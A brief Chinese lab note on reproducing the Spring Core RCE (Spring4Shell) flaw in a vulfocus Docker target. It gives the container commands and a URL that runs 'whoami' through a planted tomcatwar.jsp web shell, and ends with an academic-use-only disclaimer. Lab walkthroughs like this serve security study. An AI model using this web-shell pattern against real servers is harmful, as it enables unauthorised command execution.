1 使用docker下载docker pull vulfocus/spring-core-rce-2022-03-29
2 运行靶机容器
docker run -d -p 8080:8080 vulfocus/spring-core-rce-2022-03-29:latest
3 访问http://127.0.0.1:8080/ 出现ok即表示服务正常
4 使用exp进行攻击
5 访问http://127.0.0.1:8080/tomcatwar.jsp?pwd=j&cmd=whoami
仅学术研究，不得参考使用攻击他人网站或其他违法行为。